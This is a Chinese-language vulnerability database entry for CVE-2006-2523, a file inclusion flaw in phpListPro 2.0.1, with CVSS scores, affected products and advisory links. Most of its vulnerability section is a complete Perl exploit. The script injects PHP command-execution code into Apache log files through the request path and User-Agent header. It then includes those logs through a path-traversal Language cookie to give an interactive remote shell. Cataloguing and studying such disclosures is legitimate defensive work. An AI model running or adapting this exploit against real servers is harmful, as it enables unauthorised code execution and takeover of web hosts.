CVE-2006-2523
CVSS7.5
发布时间 :2006-05-22 18:02:00
修订时间 :2011-03-07 21:36:26
NMCOE    

[原文]PHP remote file inclusion vulnerability in config.php in phpListPro 2.0.1 and earlier, with magic_quotes_gpc disabled, allows remote attackers to execute arbitrary PHP code via a URL in the Language cookie.


[CNNVD]phpListPro config.php PHP远程文件包含漏洞(CNNVD-200605-416)

        phpListPro 2.0.1及更早版本的config.php中存在PHP远程文件包含漏洞,远程攻击者可以通过Language cookie中的URL执行任意PHP代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:smartisoft:phplistpro:2.0
cpe:/a:smartisoft:phplistpro:2.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2523
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2523
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200605-416
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/1894
(UNKNOWN)  VUPEN  ADV-2006-1894
http://secunia.com/advisories/20220
(VENDOR_ADVISORY)  SECUNIA  20220
http://milw0rm.com/exploits/1805
(UNKNOWN)  MILW0RM  1805
http://xforce.iss.net/xforce/xfdb/26621
(UNKNOWN)  XF  phplistpro-language-file-include(26621)
http://www.osvdb.org/25694
(UNKNOWN)  OSVDB  25694

- 漏洞信息

phpListPro config.php PHP远程文件包含漏洞
高危 未知
2006-05-22 00:00:00 2006-05-23 00:00:00
远程  
        phpListPro 2.0.1及更早版本的config.php中存在PHP远程文件包含漏洞,远程攻击者可以通过Language cookie中的URL执行任意PHP代码。

- 公告与补丁

        

- 漏洞信息 (1805)

phpListPro <= 2.0.1 (Language) Remote Code Execution Exploit (EDBID:1805)
php webapps
2006-05-19 Verified
0 [Oo]
N/A [点击下载]
#!/usr/bin/perl
#
# Title: phpListPro <= 2.0.1 Remote Command Execution Exploit
# URL: http://www.smartisoft.com/
#
# Info: 
# - arbitrary local inclusion 
# - need magic_quotes_gpc=off
# 
#

use IO::Socket;
use LWP::Simple;

#ripped from rgod

@apache=(
  "/var/log/httpd/access_log%00",
  "/var/log/httpd/error_log%00",
  "/var/log/apache/error.log%00",
  "/var/log/apache/access.log%00",  
  "/apache/logs/error.log%00",
  "/apache/logs/access.log%00",
  "/etc/httpd/logs/acces_log%00",
  "/etc/httpd/logs/acces.log%00",
  "/etc/httpd/logs/error_log%00",
  "/etc/httpd/logs/error.log%00",
  "/var/www/logs/access_log%00",
  "/var/www/logs/access.log%00",
  "/usr/local/apache/logs/access_log%00",
  "/usr/local/apache/logs/access.log%00",
  "/var/log/apache/access_log%00",
  "/var/log/apache/access.log%00",
  "/var/log/access_log%00",
  "/var/www/logs/error_log%00",
  "/www/logs/error.log%00",
  "/usr/local/apache/logs/error_log%00",
  "/usr/local/apache/logs/error.log%00",
  "/var/log/apache/error_log%00",
  "/var/log/apache/error.log%00",
  "/var/log/access_log%00",
  "/var/log/error_log%00",
);

print "[i] phpListPro remote command execution exploit\n";
print "[i] Need magic_quotes_gpc=off\n";
print "[i] Coded by [Oo]\n\n";


if (@ARGV < 3)
{
	print "[*] Usage: phplistpro_exp.pl [host] [path] [apache_path]\n\n";
	print "[*] Apache_Path: \n";
	$i = 0;
	while($apache[$i])
	{
		print "[$i] $apache[$i]\n";
		$i++;
	}
	print "\n[*] Exemple: phplistpro_exp.pl 127.0.0.1 /phplistpro/ 1\n";
	exit();
}

$serv=$ARGV[0];
$path=$ARGV[1];
$type=$ARGV[2];

print "[+] Injecting some code in log files...\n";
#ripped from rgod
$CODE="<?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[-] Connecting ... Could not connect to host.\n\n";
print $socket "GET ".$path.$CODE." HTTP/1.1\r\n";
print $socket "User-Agent: ".$CODE."\r\n";
print $socket "Host: ".$serv."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);

print "[+] Ok! Now here the shell, type exit to quit\n";
print "[+] If it's not work maybe try another apache_path...\n\n";

print "[shell] ";
$cmd = <STDIN>;

while($cmd !~ "exit")
{
	$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[-] Connecting ... Could not connect to host.\n\n";
	
	print $socket "GET ".$path."config.php HTTP/1.1\r\n";
	print $socket "Host: ".$serv."\r\n";
	print $socket "Accept: */*\r\n";
	print $socket "Cookie: Language=/../../../../../../../../../..".$apache[$type].";cmd=$cmd \r\n";
	print $socket "Connection: close\r\n\n";	
	
	while ($answer = <$socket>)
	{
		print $answer;
	}
	
	print "[shell] ";
	$cmd = <STDIN>;	
}

# milw0rm.com [2006-05-19]
		

- 漏洞信息

25694
phpListPro config.php Language Cookie Parameter Local File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

phpListPro contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to config.php not properly sanitizing user input supplied to the "Language" cookie variable. This may allow an attacker to include a file from the local host that contains arbitrary commands which will be executed by the vulnerable script.

- 时间线

2006-05-19 Unknow
2006-05-19 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站